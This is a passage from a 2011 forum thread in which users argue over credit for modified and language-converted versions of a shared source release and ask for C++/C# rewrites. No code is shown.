'Every part of the string returned by o.GetOpera() is displayed if the string is sent to email though. Black-Blood, if you don't want my modification of your code here, just PM me and I'll try to get this removed.

Crushpest - February 28, 2011, 10:39 am

Damn guys,

this was my first and only good source release and after 3 modifications my credits are gone. And god damn why you didn't change the name of the version2 method? It should named findBlocks or something like that. This name is just the testname, because it was the second version of the find blocks method ^^.

SIM-99212 - February 28, 2011, 6:04 pm

(Feb 28, 2011 11:39 AM)Crushpest Wrote: [\[CITE\]](#) Damn guys,

this was my first and only good source release and after 3 modifications my credits are gone. And god damn why you didn't change the name of the version2 method? It should named findBlocks or something like that. This name is just the testname, because it was the second version of the find blocks method ^^.

Sorry for not including credits in my modification.

It's assumed that the credits would go to the same people listed in Black-Blood's original post though.

KingCobraXD - March 1, 2011, 5:11 pm

(Feb 28, 2011 07:04 PM)jawatim Wrote: [\[CITE\]](#) Sorry for not including credits in my modification.

It's assumed that the credits would go to the same people listed in Black-Blood's original post though.

What makes it worse is that i converted it to VB.NET for him. He just made some modifications just like you did..

Black-Blood™ - March 2, 2011, 1:30 pm

(Mar 1, 2011 06:11 PM)KingCobraXD Wrote: [\[CITE\]](#) What makes it worse is that i converted it to VB.NET for him. He just made some modifications just like you did..

Dude you just copy and pasted it into a converter :D

KingCobraXD - March 2, 2011, 3:41 pm

(Mar 2, 2011 02:30 PM)Black-Blood™ Wrote: [\[CITE\]](#) Dude you just copy and pasted it into a converter :D

Nope. I've actually converted it. I can code in java, C++, and C#. =P

Black-Blood™ - March 2, 2011, 10:48 pm

(Mar 2, 2011 04:41 PM)KingCobraXD Wrote: [\[CITE\]](#) Nope. I've actually converted it. I can code in java, C++, and C#. =P

Dude I just converted the original source and I got the exact same result. It's very impressive that you can code in all these different languages but even if you can it's not bad at all if you convert it to a converter.

Pikarica - *March 24, 2011, 12:15 pm*

This is not yours but thx 4 sharing. :)

ahmedkulumu - *April 21, 2011, 1:09 pm*

Wow, thanks for the source!

dexterxx - *April 21, 2011, 1:14 pm*

Could anyone rewrite it to C++/C# syntax?

IMHO basic sux ;)